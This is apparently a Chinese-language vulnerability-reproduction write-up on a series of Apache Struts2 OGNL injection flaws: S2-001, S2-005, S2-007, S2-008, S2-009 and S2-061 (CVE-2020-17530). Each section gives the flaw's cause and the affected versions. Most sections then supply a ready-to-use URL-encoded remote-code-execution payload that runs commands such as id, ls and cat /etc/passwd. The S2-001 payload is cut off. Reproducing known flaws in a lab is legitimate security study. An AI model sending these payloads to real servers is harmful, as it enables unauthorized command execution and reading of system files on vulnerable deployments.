【漏洞复现】Struts2 系列漏洞复现
【漏洞复现】Struts2 系列漏洞复现
一、Struts2 概述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts 2是Apache 软件基金会下的Struts 1的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大,旨在提供更灵活、更强大的 MVC 架构来帮助开发者构建应用程序。
二、s2-001 漏洞复现
1、漏洞原理
用户提交表单数据验证失败时,会将用户之前提交的参数值使用OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册、登陆页面,提交失败后会默认返回之前提交的数据,且在后端使用 %{value} 对提交的数据进行了一次OGNL 表达式解析,因此可以直接构造payload 进行命令执行。
2、影响版本
Struts 2.0.0 - 2.0.8
3、漏洞复现
测试是否存在该漏洞,提交%{'123'}
,返回结果为123
利用 OGNL 表达式来访问Java 系统属性
1 | tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"} |
给到了用户的工作目录
执行任意命令
1 | %{ |
三、s2-005 漏洞复现
1、漏洞原理
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
2、影响版本
Struts 2.0.0-2.1.8.1
3、漏洞复现
在URL 上添加GET请求
1 | ?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/1.txt%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
四、s2-007 漏洞复现
1、漏洞原理
在用户登陆中,age 字段用户可控,传递一个非整数的值 会导致错误,而输入的非整数的值会被当作 ONGL 表达式执行,造成代码执行漏洞
2、影响版本
Struts 2.0.0 - 2.2.3
3、漏洞复现
1 | %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27 |
五、s2-008 漏洞复现
1、漏洞原理
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。
2、影响版本
Struts 2.1.0 – 2.3.1
3、漏洞复现
1 | devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id |
六、s2-009 漏洞复现
1、漏洞原理
OGNL提供了广泛的表达式评估功能,可以将任何暴露的字符串变量中的恶意表达式注入该功能。其中 ParametersInterceptor 中的正则表达式将top['foo'](0)
作为有效的表达式进行匹配,而OGNL 正好将该参数的值作为OGNL的表达式进行求值达成RCE。由于OGNL 语句在HTTP参数中,攻击者可以使用黑名单字符(例如 # )禁用方法执行并执行任意方法,绕过ParametersInterceptor 和OGNL 库的保护。
2、影响版本
Struts 2.1.0 - 2.3.1.1
3、漏洞复现
1、首页
2、漏洞存在的功能点
3、构造POC
1 | http://xxx.xxx/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22cat%20/etc/passwd%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
七、s2-061 漏洞复现(CVE-2020-17530)
1、漏洞原因
Apache Struts2 框架是一个用于开发Java EE 网络应用程序的Web 框架。该漏洞中,Struts2 会对某些变迁属性(如id等) 的属性值进行二次表达式解析,这些标签使用%{}的形式,当内容的值可控时,如%{payload},会造成OGNL 表达式代码执行漏洞。
2、影响版本
Struts 2.0.0 - 2.5.25
3、漏洞复现
1、首页
2、查看是否存在漏洞,id变为49,存在漏洞
3、加上POC
1 | ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} |
![image-20240521154308136/img/VulnRep-Struts2/-20240521154308136.png)